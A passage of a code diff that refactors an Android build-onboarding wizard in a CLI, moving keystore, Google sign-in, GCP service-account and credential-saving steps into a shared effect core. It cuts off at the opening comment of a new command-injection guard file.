gcpCreateProject, + enableService, + ensureServiceAccount, + createServiceAccountKey, + // Play — wrap to satisfy Promise contract in AndroidEffectDeps + inviteServiceAccount: async (args: Parameters[0]) => { + await inviteServiceAccount(args) + }, + // Android package detection (pre-bound to androidDir) + findAndroidApplicationIds: () => findAndroidApplicationIds(androidDir), + // Token mint — keeps token policy in the driver + getAccessToken: ensureAccessToken, + // runOAuthFlow: overridden per-step at the google-sign-in-running call site + // (the driver pre-binds clientId/clientSecret/scopes). Never called for + // non-OAuth steps — this stub surfaces an accidental call clearly. + runOAuthFlow: (_callbacks: Parameters[1]) => { + throw new Error('runOAuthFlow not bound — must override per-step') + }, + }), [ensureAccessToken, androidDir]) useEffect(() => { let cancelled = false @@ -842,56 +854,39 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir validationCleanupRef.current = () => validationAbort.abort() ;(async () => { try { - if (!serviceAccountJsonPath) - throw new Error('No service account JSON path on record — pick the file again.') - if (!androidPackageChoice) - throw new Error('No Android package on record — pick the package again.') - - const jsonBytes = await readFile(serviceAccountJsonPath) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - - const result = await validateServiceAccountJson({ - jsonBytes, - packageName: androidPackageChoice.packageName, + const result = await runAndroidEffect('sa-json-validating', current, { + ...baseDeps, + onLog: addLog, signal: validationAbort.signal, }) if (cancelled) return - - if (result.ok) { - const base64 = jsonBytes.toString('base64') - setServiceAccountKeyBase64(base64) + if (result.next === 'saving-credentials') { + // Success path + if (result.progress._serviceAccountKeyBase64) + setServiceAccountKeyBase64(result.progress._serviceAccountKeyBase64) setSaValidationResult({ ok: true }) trackAction('android_sa_validation_result', { result: 'success' }, 'sa-json-validating') - await persist((p) => ({ - ...p, - _serviceAccountKeyBase64: base64, - // Clear any stale "skipped" flag from a previous attempt. - serviceAccountValidationSkipped: false, - })) - addLog(`✔ Service account verified — ${result.serviceAccountEmail}`) - setStep('saving-credentials') - return } - - setSaValidationResult(result) - trackAction('android_sa_validation_result', { - result: 'failure', - validation_kind: result.kind, - }, 'sa-json-validating') - // Emit the immediate action event above, and stash the validation - // kind so the upcoming `sa-json-validation-failed` step event also - // carries the same failure category. - errorCategoryRef.current = mapSaValidationKindToCategory(result.kind) - // shape-error indicates the file itself is wrong — surface as a - // banner log and route to the same recovery screen so the user - // can pick a different file or fall back to OAuth. Other kinds - // (token, no-app-access, network) already get full text on the - // recovery screen. - if (result.kind === 'shape-error') - addLog(`✖ ${result.message}`, 'red') - setStep('sa-json-validation-failed') + else { + // Failure path + const saValidation = result.transient?.saValidation + if (saValidation && !saValidation.ok) { + const failedKind = saValidation.kind as 'shape-error' | 'token-error' | 'no-app-access' | 'network-error' + setSaValidationResult({ ok: false, kind: failedKind, message: saValidation.message }) + trackAction('android_sa_validation_result', { + result: 'failure', + validation_kind: saValidation.kind, + }, 'sa-json-validating') + // Stash the validation kind so the upcoming step event also + // carries the same failure category. + errorCategoryRef.current = mapSaValidationKindToCategory(failedKind) + } + } + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -903,36 +898,29 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir if (step === 'keystore-existing-detecting-alias') { ;(async () => { try { - const bytes = await readFile(keystoreExistingPath) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - const listed = listKeystoreAliases(bytes, keystoreStorePassword) + const result = await runAndroidEffect('keystore-existing-detecting-alias', current, { + ...baseDeps, + onLog: addLog, + }) if (cancelled) return - if (listed.ok && listed.aliases.length === 1) { - const alias = listed.aliases[0] - setKeystoreAlias(alias) - await persist((p) => ({ ...p, keystoreAlias: alias })) - addLog(`✔ Detected alias · ${alias}`) - setStep('keystore-existing-key-password') - return - } - if (listed.ok && listed.aliases.length > 1) { - setDetectedAliases(listed.aliases) - setStep('keystore-existing-alias-select') - return - } - if (!listed.ok && listed.reason === 'wrong-password') { + // Wrong-password: reproduce original UX exactly — no handleError, no retryCount change. + if (result.transient?.wrongPassword) { setError('Store password was rejected by the keystore. Try again.') setRetryStep('keystore-existing-store-password') setStep('error') return } - if (!listed.ok && listed.reason === 'unsupported-format') - addLog('ℹ Couldn\'t auto-detect alias (JKS format or similar) — enter it manually.', 'yellow') - else if (listed.ok) - addLog('ℹ Couldn\'t auto-detect alias from the keystore — enter it manually.', 'yellow') - setStep('keystore-existing-alias') + // Apply transient → component state + if (result.transient?.detectedAliases) + setDetectedAliases(result.transient.detectedAliases) + // Mirror progress fields the render reads + if (result.progress.keystoreAlias) + setKeystoreAlias(result.progress.keystoreAlias) + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -951,84 +939,33 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir if (step === 'keystore-existing-key-password' && !keyPasswordProbeRef.current) { keyPasswordProbeRef.current = true ;(async () => { - // Two ways to auto-resolve key password without asking: - // 1. Resume: we already have keystoreKeyPassword from progress. - // 2. PKCS#12 probe: the store password also unlocks the private - // key bag (true for ~all keystores that use one password for - // both, including everything Capgo generates). - // Either way, fall through into the same readFile + persist + - // advance flow the prompt's onSubmit would run, no UI needed. - let resolvedKeyPw: string | null = null - let resolution: 'progress' | 'probed-same' | null = null - - if (keystoreKeyPassword) { - resolvedKeyPw = keystoreKeyPassword - resolution = 'progress' - } - else if (keystoreStorePassword && keystoreExistingPath) { - try { - const bytes = await readFile(keystoreExistingPath) - const result = tryUnlockPrivateKey(bytes, keystoreStorePassword) - if (result.ok) { - resolvedKeyPw = keystoreStorePassword - resolution = 'probed-same' - } - } - catch { - // readFile failed — let the prompt step handle the error path. - } - } - - if (cancelled) - return - - if (!resolvedKeyPw) { - setKeyPasswordProbe('prompt') - return - } - - // Auto-resolved — log what happened and run the same complete-the - // -keystore-phase work the prompt's onSubmit handler does. - setKeyPasswordProbe('auto') - if (resolution === 'probed-same') - addLog('ℹ Key password matches store password — using the same value') - const keyPw = resolvedKeyPw - setKeystoreKeyPassword(keyPw) - addLog('✔ Key password set') try { - const bytes = await readFile(keystoreExistingPath) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - const base64 = bytes.toString('base64') - const ready: KeystoreReady = { - keystorePath: keystoreExistingPath, - alias: keystoreAlias || RELEASE_ALIAS_DEFAULT, - isGenerated: false, - } - setKeystoreBase64(base64) - setKeystoreReady(ready) - await persist((p) => ({ - ...p, - keystoreKeyPassword: keyPw, - _keystoreBase64: base64, - serviceAccountForkSeen: true, - completedSteps: { ...p.completedSteps, keystoreReady: ready }, - })) - addLog(`✔ Keystore loaded — ${keystoreExistingPath}`) - // Smart-route: skip phases already complete (e.g. on resume into - // this step after a legacy progress file already had OAuth steps - // done). If progress shows nothing past keystoreReady, land on the - // new fork; otherwise pick up where we left off (resume contract: - // legacy progress without `serviceAccountMethod` defaults to OAuth - // via `getAndroidResumeStep`). - const fresh = await loadAndroidProgress(appId) + const result = await runAndroidEffect('keystore-existing-key-password', current, { + ...baseDeps, + onLog: addLog, + }) if (cancelled) return - const hasOAuthProgress = fresh ? hasAnyOAuthProgress(fresh) : false - if (hasOAuthProgress || fresh?.serviceAccountMethod !== undefined) - setStep(fresh ? getAndroidResumeStep(fresh) : 'service-account-method-select') - else - setStep('service-account-method-select') + // Special case: prompt path — show the key-password input sub-screen. + // DO NOT setStep; the prompt's onSubmit (applyAndroidInput) records + // keystoreKeyPassword, then this effect re-runs (keyPasswordProbeRef + // reset on step-leave) and completes. + if (result.transient?.needsKeyPasswordPrompt) { + setKeyPasswordProbe('prompt') + return + } + // Auto-resolved path — mirror progress fields + setKeyPasswordProbe('auto') + if (result.progress.keystoreKeyPassword) + setKeystoreKeyPassword(result.progress.keystoreKeyPassword) + if (result.progress._keystoreBase64) + setKeystoreBase64(result.progress._keystoreBase64) + if (result.progress.completedSteps.keystoreReady) + setKeystoreReady(result.progress.completedSteps.keystoreReady) + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -1040,50 +977,22 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir if (step === 'keystore-generating') { ;(async () => { try { - const storePw = keystoreStorePassword - const keyPw = keystoreKeyPassword || storePw - const cn = keystoreCommonName || appId - const result = generateKeystore({ - alias: keystoreAlias || RELEASE_ALIAS_DEFAULT, - storePassword: storePw, - keyPassword: keyPw, - dname: { commonName: cn, organizationName: 'Capgo' }, - }) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - const defaultPath = `android/app/${result.alias}.p12` - const ready: KeystoreReady = { - keystorePath: defaultPath, - alias: result.alias, - isGenerated: true, - } - setKeystoreBase64(result.p12Base64) - setKeystoreReady(ready) - await persist((p) => ({ - ...p, - keystoreMethod: 'generate', - keystoreAlias: result.alias, - keystoreStorePassword: storePw, - keystoreKeyPassword: keyPw, - keystoreCommonName: cn, - _keystoreBase64: result.p12Base64, - serviceAccountForkSeen: true, - completedSteps: { ...p.completedSteps, keystoreReady: ready }, - })) - addLog(`✔ Keystore generated — alias: ${result.alias}, valid until ${result.notAfter.getFullYear()}`) - // Backup hint is emitted after `saving-credentials` succeeds, not - // here — at this point the password lives only in the in-memory - // state and the progress file, not in `credentials.json`. - setRetryCount(0) - // After keystore is freshly generated in THIS run, always land on - // the new method-select fork — we know there's no prior SA choice - // because we just finished the keystore phase. Resume mid-flow on - // a subsequent run goes through `getAndroidResumeStep`, which - // routes legacy progress (absent `serviceAccountMethod`) to the - // OAuth path for backward compatibility. + const result = await runAndroidEffect('keystore-generating', current, { + ...baseDeps, + onLog: addLog, + }) if (cancelled) return - setStep('service-account-method-select') + // Mirror progress fields the render reads + if (result.progress._keystoreBase64) + setKeystoreBase64(result.progress._keystoreBase64) + if (result.progress.completedSteps.keystoreReady) + setKeystoreReady(result.progress.completedSteps.keystoreReady) + setRetryCount(0) + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -1098,69 +1007,50 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir try { const cfg = await getCapgoConfig() setOauthClientId(cfg.clientId) - setOauthStatusMessages([]) - const tokens = await runOAuthFlow( - { - clientId: cfg.clientId, - clientSecret: cfg.clientSecret, - scopes: OAUTH_SCOPES_FOR_ONBOARDING, - }, - { - onAuthUrl: (url) => { - if (cancelled) - return - setOauthStatusMessages(prev => [...prev, `🌐 If the browser didn't open: ${url}`]) - }, - onStatus: (msg) => { - if (cancelled) - return - setOauthStatusMessages(prev => [...prev, msg]) - }, - }, - ) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - if (!tokens.refreshToken) - throw new Error('Google did not return a refresh token — try again.') - - const info = await fetchUserInfo(tokens.accessToken) + const result = await runAndroidEffect('google-sign-in-running', current, { + ...baseDeps, + onLog: addLog, + onAuthUrl: (url) => { + if (cancelled) + return + setOauthStatusMessages(prev => [...prev, `🌐 If the browser didn't open: ${url}`]) + }, + onStatus: (msg) => { + if (cancelled) + return + setOauthStatusMessages(prev => [...prev, msg]) + }, + // Pre-bind clientId/clientSecret/scopes so the core never sees credentials. + runOAuthFlow: (callbacks) => runOAuthFlow( + { + clientId: cfg.clientId, + clientSecret: cfg.clientSecret, + scopes: OAUTH_SCOPES_FOR_ONBOARDING, + }, + callbacks, + ), + }) if (cancelled) return - - const complete: GoogleSignInComplete = { - email: info.email, - googleSubject: info.sub, - scope: tokens.scope, - } - setAccessToken(tokens.accessToken) - setRefreshTokenState(tokens.refreshToken) - setGoogleSignIn(complete) - await persist((p) => ({ - ...p, - _oauthRefreshToken: tokens.refreshToken, - completedSteps: { ...p.completedSteps, googleSignInComplete: complete }, - })) - addLog(`✔ Signed in as ${info.email}`) + // Apply transient → component state + if (result.transient?.accessToken) + setAccessToken(result.transient.accessToken) + // Mirror progress fields the render reads + if (result.progress._oauthRefreshToken) + setRefreshTokenState(result.progress._oauthRefreshToken) + if (result.progress.completedSteps.googleSignInComplete) + setGoogleSignIn(result.progress.completedSteps.googleSignInComplete) setRetryCount(0) - setStep('play-developer-id-input') + // MissingScopesError is handled INSIDE the core → result.next = 'google-sign-in' + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { - if (cancelled) - return - // User deselected one or more scopes on the consent screen. - // Treat this as a recoverable input error: explain in the CLI - // which scopes were missing and route back to the pre-consent - // screen so the user can try again. Don't burn a retry strike. - if (err instanceof MissingScopesError) { - addLog('✖ Sign-in did not grant all required permissions.', 'red') - for (const scope of err.missing) - addLog(` • Missing: ${scope}`, 'yellow') - addLog('Please retry sign-in and leave every requested permission checked.', 'yellow') - setStep('google-sign-in') - return - } - handleError(err, 'google-sign-in') + if (!cancelled) + handleError(err, 'google-sign-in') } })() } @@ -1173,22 +1063,45 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir if (step === 'android-package-select' && !packageLoadedRef.current) { packageLoadedRef.current = true ;(async () => { - const gradleIds = await findAndroidApplicationIds(androidDir) - if (cancelled) - return - setDetectedPackageIds(gradleIds) + try { + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) + if (cancelled) + return + const result = await runAndroidEffect('android-package-select', current, { + ...baseDeps, + onLog: addLog, + }) + if (cancelled) + return + // Special case: DO NOT setStep — stay on android-package-select so + // the now-loaded choice renders. + setDetectedPackageIds(result.transient?.detectedPackageIds ?? []) + } + catch { + // Pre-load is best-effort — Gradle parse failures fall back to + // the manual input path (detectedPackageIds stays empty). + } })() } if (step === 'gcp-projects-loading') { ;(async () => { try { - const tok = await ensureAccessToken() - const projects = await listProjects(tok) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - setGcpProjects(projects) - setStep('gcp-projects-select') + const result = await runAndroidEffect('gcp-projects-loading', current, { + ...baseDeps, + onLog: addLog, + }) + if (cancelled) + return + // Apply transient → component state. + // The core's gcpProjects shape is a subset of GcpProject; cast for + // the render (it only uses projectId/name/projectNumber). + if (result.transient?.gcpProjects) + setGcpProjects(result.transient.gcpProjects as GcpProject[]) + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -1202,138 +1115,27 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir ;(async () => { try { setSetupStatus([]) - const tok = await ensureAccessToken() - let projectChoice: GcpProjectChoice | null = gcpProjectChoice - - // Step A: create project if the user chose "new" - if (projectChoice && projectChoice.createdByOnboarding && !projectChoice.projectNumber) { - addSetupStatus(`Creating GCP project ${projectChoice.projectId}...`) - const created = await gcpCreateProject(tok, projectChoice.projectId, projectChoice.displayName) - if (cancelled) - return - projectChoice = { - ...projectChoice, - projectNumber: created.projectNumber, - } - setGcpProjectChoice(projectChoice) - await persist((p) => ({ - ...p, - completedSteps: { ...p.completedSteps, gcpProjectChosen: projectChoice! }, - })) - addSetupStatus(`✔ Project created (number ${created.projectNumber})`) - } - - if (!projectChoice) - throw new Error('No GCP project selected') - - // Step B: enable Android Publisher API - addSetupStatus(`Enabling ${ANDROIDPUBLISHER_API}...`) - await enableService(tok, projectChoice.projectId, ANDROIDPUBLISHER_API) + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) if (cancelled) return - addSetupStatus('✔ API enabled') - - // Step C: create or find the capgo-native-build service account - addSetupStatus(`Ensuring service account "${DEFAULT_SERVICE_ACCOUNT_ID}"...`) - const { account: sa, created: saCreated } = await ensureServiceAccount({ - accessToken: tok, - projectId: projectChoice.projectId, - accountId: DEFAULT_SERVICE_ACCOUNT_ID, - displayName: DEFAULT_SERVICE_ACCOUNT_DISPLAY_NAME, - description: DEFAULT_SERVICE_ACCOUNT_DESCRIPTION, + const result = await runAndroidEffect('gcp-setup-running', current, { + ...baseDeps, + onLog: addLog, + onStatus: addSetupStatus, }) if (cancelled) return - const saProv: ServiceAccountProvisioned = { - email: sa.email, - projectId: projectChoice.projectId, - uniqueId: sa.uniqueId, - } - setServiceAccountProvisioned(saProv) - addSetupStatus(saCreated ? `✔ Service account created — ${sa.email}` : `✔ Service account exists — ${sa.email}`) - - // Step D: create a fresh JSON key for the SA - addSetupStatus('Creating service-account JSON key...') - const key = await createServiceAccountKey({ - accessToken: tok, - projectId: projectChoice.projectId, - serviceAccountEmail: sa.email, - }) - if (cancelled) - return - setServiceAccountKeyBase64(key.privateKeyDataBase64) - await persist((p) => ({ - ...p, - _serviceAccountKeyBase64: key.privateKeyDataBase64, - completedSteps: { ...p.completedSteps, serviceAccountProvisioned: saProv }, - })) - addSetupStatus('✔ Key created') - - // Step E: invite the SA into the Play Developer account - if (!playAccountChoice) - throw new Error('No Play Developer account chosen') - addSetupStatus(`Inviting ${sa.email} to Play Console...`) - try { - if (!androidPackageChoice) - throw new Error('No Android package selected for the Play invite') - await inviteServiceAccount({ - accessToken: tok, - developerId: playAccountChoice.developerId, - serviceAccountEmail: sa.email, - developerAccountPermissions: CAPGO_SA_DEVELOPER_PERMISSIONS, - grants: [{ - packageName: androidPackageChoice.packageName, - permissions: CAPGO_SA_APP_PERMISSIONS, - }], - }) - } - catch (err) { - const msg = err instanceof Error ? err.message : String(err) - // Treat "already exists" style failures as success — the SA is - // already a user on this developer account from a prior run. - if (!/already|exists|duplicate/i.test(msg)) - throw err - addSetupStatus(`ℹ Service account was already invited — continuing`) - } - if (cancelled) - return - const invite: PlayInviteProvisioned = { - developerId: playAccountChoice.developerId, - serviceAccountEmail: sa.email, - } - setPlayInviteProvisioned(invite) - await persist((p) => ({ - ...p, - completedSteps: { ...p.completedSteps, playInviteProvisioned: invite }, - })) - addSetupStatus(`✔ Play Console invite confirmed`) - - // Step F: ask Google to revoke our OAuth tokens now that - // provisioning has succeeded. From this point forward Capgo's build - // workers authenticate via the service account JSON key — the - // user's OAuth tokens are no longer needed. Revoking enforces the - // trust statement on the pre-consent screen ("your tokens never - // reach Capgo and we revoke them as soon as we're done"). Failure - // is non-fatal: the token expires within ~1 hour regardless. - if (refreshTokenState) { - addSetupStatus('Revoking OAuth token (we don\'t need it anymore)...') - try { - await revokeToken(refreshTokenState) - if (cancelled) - return - addSetupStatus('✔ OAuth token revoked') - } - catch (err) { - if (cancelled) - return - const msg = err instanceof Error ? err.message : String(err) - addSetupStatus(`⚠ Revoke request failed (${msg}) — token will expire on its own`) - } - } - - addLog(`✔ Google Cloud + Play setup complete`) + // Mirror progress fields the render reads + if (result.progress.completedSteps.gcpProjectChosen) + setGcpProjectChoice(result.progress.completedSteps.gcpProjectChosen) + if (result.progress.completedSteps.serviceAccountProvisioned) + setServiceAccountProvisioned(result.progress.completedSteps.serviceAccountProvisioned) + if (result.progress.completedSteps.playInviteProvisioned) + setPlayInviteProvisioned(result.progress.completedSteps.playInviteProvisioned) + if (result.progress._serviceAccountKeyBase64) + setServiceAccountKeyBase64(result.progress._serviceAccountKeyBase64) setRetryCount(0) - setStep('saving-credentials') + setStep(result.next ?? getAndroidResumeStep(result.progress)) } catch (err) { if (!cancelled) @@ -1345,49 +1147,44 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir if (step === 'saving-credentials') { ;(async () => { try { - // Self-heal: re-validate progress before attempting the save. If - // the resume logic says we should be somewhere earlier (e.g. a - // race lost the keystoreStorePassword between phases), route back - // to the matching input step instead of crashing on a thrown - // "keystore inputs missing" error. - const fresh = await loadAndroidProgress(appId) - if (fresh) { - const expectedStep = getAndroidResumeStep(fresh) - if (expectedStep !== 'saving-credentials') { - if (cancelled) - return - addLog('ℹ Some required input was missing — sending you back to fill it in.', 'yellow') - setStep(expectedStep) - return - } - } - const credentials = await doSaveCredentials() + const current = (await loadAndroidProgress(appId)) ?? emptyProgress(appId) + if (cancelled) + return + const result = await runAndroidEffect('saving-credentials', current, { + ...baseDeps, + onLog: addLog, + }) if (cancelled) return + // Self-heal rerouted — emit the breadcrumb log and return to the + // missing-input step. The core does NOT emit this log. + if (result.next !== 'ask-build') { + addLog('ℹ Some required input was missing — sending you back to fill it in.', 'yellow') + setStep(result.next ?? getAndroidResumeStep(result.progress)) + return + } + // POST-SAVE-TAIL: the core called updateSavedCredentials + + // deleteAndroidProgress. Re-derive credentials from result.progress + // (the credentials data is still in memory even though the on-disk + // file was deleted). Shape mirrors doSaveCredentials(). + const p = result.progress + const keystoreStorePasswordSaved = p.keystoreStorePassword! + const credentials = { + ANDROID_KEYSTORE_FILE: p._keystoreBase64!, + KEYSTORE_KEY_ALIAS: p.keystoreAlias!, + KEYSTORE_STORE_PASSWORD: keystoreStorePasswordSaved, + KEYSTORE_KEY_PASSWORD: p.keystoreKeyPassword || keystoreStorePasswordSaved, + PLAY_CONFIG_JSON: p._serviceAccountKeyBase64!, + } as Parameters[2] // Random-password backup hint: emitted only here (post-save) so the - // claim "stored in credentials.json" is true. Note: on resume from a - // crash that wiped the in-memory state, `randomPasswordGenerated` is - // false and the hint is skipped — acceptable trade-off versus - // persisting a one-off flag to progress.json. + // claim "stored in credentials.json" is true. if (randomPasswordGenerated) addLog(` ℹ Your auto-generated keystore password is now in ~/.capgo-credentials/credentials.json — back up that file.`, 'yellow') - // Stash CI secret entries for later. We do NOT push to GitHub/GitLab - // yet — the wizard now offers that step only AFTER a successful first - // build, so users never end up with orphan secrets in a repo whose - // build was never proven to work. - // - // Pass the API key so CAPGO_TOKEN gets included — the generated - // GitHub Actions workflow references ${{ secrets.CAPGO_TOKEN }} for - // --apikey, and users who pick "secrets only" still benefit from - // having it ready in their repo for a workflow they'll write later. let capgoKey: string | undefined = apikey if (!capgoKey) capgoKey = findSavedKeySilent() const entries = createCiSecretEntries(credentials, capgoKey) setCiSecretEntries(entries) - // Stash the raw credentials so the .env-export branch can write the - // same shape `build credentials manage`'s export writes — without - // CAPGO_TOKEN. setSavedCredentials(credentials) setStep('ask-build') } @@ -1897,11 +1694,11 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir } else if (value === 'existing') { setKeystoreMethod('existing') - persistAndStep((p) => ({ ...p, keystoreMethod: 'existing' }), 'keystore-existing-path') + persistAndStep((p) => applyAndroidInput('keystore-method-select', p, { step: 'keystore-method-select', value: 'existing' }), 'keystore-existing-path') } else { setKeystoreMethod('generate') - persistAndStep((p) => ({ ...p, keystoreMethod: 'generate' }), 'keystore-new-alias') + persistAndStep((p) => applyAndroidInput('keystore-method-select', p, { step: 'keystore-method-select', value: 'generate' }), 'keystore-new-alias') } }} /> @@ -1968,7 +1765,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir } setKeystoreExistingPath(abs) addLog(`✔ Keystore selected · ${abs}`) - persistAndStep((p) => ({ ...p, keystoreExistingPath: abs }), 'keystore-existing-store-password') + persistAndStep((p) => applyAndroidInput('keystore-existing-path', p, { step: 'keystore-existing-path', path: abs }), 'keystore-existing-store-password') }} /> @@ -1998,7 +1795,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir } setKeystoreStorePassword(val) addLog('✔ Store password set') - persistAndStep((p) => ({ ...p, keystoreStorePassword: val }), 'keystore-existing-detecting-alias') + persistAndStep((p) => applyAndroidInput('keystore-existing-store-password', p, { step: 'keystore-existing-store-password', password: val }), 'keystore-existing-detecting-alias') }} /> @@ -2017,7 +1814,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir onChange={(value) => { setKeystoreAlias(value) addLog(`✔ Alias selected · ${value}`) - persistAndStep((p) => ({ ...p, keystoreAlias: value }), 'keystore-existing-key-password') + persistAndStep((p) => applyAndroidInput('keystore-existing-alias-select', p, { step: 'keystore-existing-alias-select', alias: value }), 'keystore-existing-key-password') }} /> @@ -2035,7 +1832,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const alias = val.trim() || RELEASE_ALIAS_DEFAULT setKeystoreAlias(alias) addLog(`✔ Key alias · ${alias}`) - persistAndStep((p) => ({ ...p, keystoreAlias: alias }), 'keystore-existing-key-password') + persistAndStep((p) => applyAndroidInput('keystore-existing-alias', p, { step: 'keystore-existing-alias', alias: val }), 'keystore-existing-key-password') }} /> @@ -2109,7 +1906,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const alias = val.trim() || RELEASE_ALIAS_DEFAULT setKeystoreAlias(alias) addLog(`✔ Key alias · ${alias}`) - persistAndStep((p) => ({ ...p, keystoreAlias: alias }), 'keystore-new-password-method') + persistAndStep((p) => applyAndroidInput('keystore-new-alias', p, { step: 'keystore-new-alias', alias: val }), 'keystore-new-password-method') }} /> @@ -2158,7 +1955,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir } setKeystoreStorePassword(val) addLog('✔ Store password set') - persistAndStep((p) => ({ ...p, keystoreStorePassword: val }), 'keystore-new-key-password') + persistAndStep((p) => applyAndroidInput('keystore-new-store-password', p, { step: 'keystore-new-store-password', password: val }), 'keystore-new-key-password') }} /> @@ -2176,7 +1973,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const keyPw = val || keystoreStorePassword setKeystoreKeyPassword(keyPw) addLog('✔ Key password set') - persistAndStep((p) => ({ ...p, keystoreKeyPassword: keyPw }), 'keystore-new-cn') + persistAndStep((p) => applyAndroidInput('keystore-new-key-password', p, { step: 'keystore-new-key-password', password: val }), 'keystore-new-cn') }} /> @@ -2194,7 +1991,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const cn = val.trim() || appId setKeystoreCommonName(cn) addLog(`✔ Common name · ${cn}`) - persistAndStep((p) => ({ ...p, keystoreCommonName: cn }), 'keystore-generating') + persistAndStep((p) => applyAndroidInput('keystore-new-cn', p, { step: 'keystore-new-cn', cn: val }), 'keystore-generating') }} /> @@ -2232,13 +2029,13 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir // shared with the OAuth path and routes back here based on // serviceAccountMethod. persistAndStep( - (p) => ({ ...p, serviceAccountMethod: 'existing' }), + (p) => applyAndroidInput('service-account-method-select', p, { step: 'service-account-method-select', value: 'existing' }), 'android-package-select', ) } else { persistAndStep( - (p) => ({ ...p, serviceAccountMethod: 'generate' }), + (p) => applyAndroidInput('service-account-method-select', p, { step: 'service-account-method-select', value: 'generate' }), 'google-sign-in', ) } @@ -2302,7 +2099,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir setServiceAccountJsonPath(abs) addLog(`✔ Service account JSON · ${abs}`) persistAndStep( - (p) => ({ ...p, serviceAccountJsonPath: abs }), + (p) => applyAndroidInput('sa-json-existing-path', p, { step: 'sa-json-existing-path', path: abs }), 'sa-json-validating', ) }} @@ -2363,7 +2160,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir setSaValidationResult(null) setSaJsonPathMode('choose') persistAndStep( - (p) => ({ ...p, serviceAccountJsonPath: undefined }), + (p) => applyAndroidInput('sa-json-validation-failed', p, { step: 'sa-json-validation-failed', value: 'retry' }), 'sa-json-existing-path', ) return @@ -2396,7 +2193,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir setServiceAccountMethod('generate') setSaValidationResult(null) persistAndStep( - (p) => ({ ...p, serviceAccountMethod: 'generate' }), + (p) => applyAndroidInput('sa-json-validation-failed', p, { step: 'sa-json-validation-failed', value: 'oauth' }), 'google-sign-in', ) }} @@ -2556,10 +2353,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir setPlayAccountChoice(choice) addLog(`✔ Play Developer account — ${id}`) persistAndStep( - (p) => ({ - ...p, - completedSteps: { ...p.completedSteps, playAccountChosen: choice }, - }), + (p) => applyAndroidInput('play-developer-id-input', p, { step: 'play-developer-id-input', rawDeveloperIdOrUrl: val }), 'gcp-projects-loading', ) }} @@ -2605,10 +2399,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir setGcpProjectChoice(choice) addLog(`✔ GCP project — ${chosen.name}`) persistAndStep( - (p) => ({ - ...p, - completedSteps: { ...p.completedSteps, gcpProjectChosen: choice }, - }), + (p) => applyAndroidInput('gcp-projects-select', p, { step: 'gcp-projects-select', gcpProject: { projectId: chosen.projectId, name: chosen.name, projectNumber: chosen.projectNumber } }), 'android-package-select', ) }} @@ -2694,10 +2485,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const nextStep: AndroidOnboardingStep = serviceAccountMethod === 'existing' ? 'sa-json-existing-path' : 'gcp-setup-running' persistAndStep( - (p) => ({ - ...p, - completedSteps: { ...p.completedSteps, androidPackageChosen: choice }, - }), + (p) => applyAndroidInput('android-package-select', p, { step: 'android-package-select', packageName: value, source: 'gradle', serviceAccountMethod: serviceAccountMethod ?? 'generate' }), nextStep, ) }} @@ -2728,10 +2516,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const nextStep: AndroidOnboardingStep = serviceAccountMethod === 'existing' ? 'sa-json-existing-path' : 'gcp-setup-running' persistAndStep( - (p) => ({ - ...p, - completedSteps: { ...p.completedSteps, androidPackageChosen: choice }, - }), + (p) => applyAndroidInput('android-package-select', p, { step: 'android-package-select', packageName: name, source: detectedPackageIds.includes(name) ? 'gradle' : 'user-input', serviceAccountMethod: serviceAccountMethod ?? 'generate' }), nextStep, ) }} diff --git a/cli/src/build/onboarding/mcp/app-id-validation.ts b/cli/src/build/onboarding/mcp/app-id-validation.ts new file mode 100644 index 0000000000..e58cb4b724 --- /dev/null +++ b/cli/src/build/onboarding/mcp/app-id-validation.ts @@ -0,0 +1,36 @@ +// src/build/onboarding/mcp/app-id-validation.ts +// +// Command-injection guard for the MCP build hand-off. +// +// The build command embeds the capacitor.config appId directly in a shell +// command string that is either passed to osascript (Terminal.app) or shown +// to an agent to run in its shell. An attacker who controls the appId (e.g. +// a 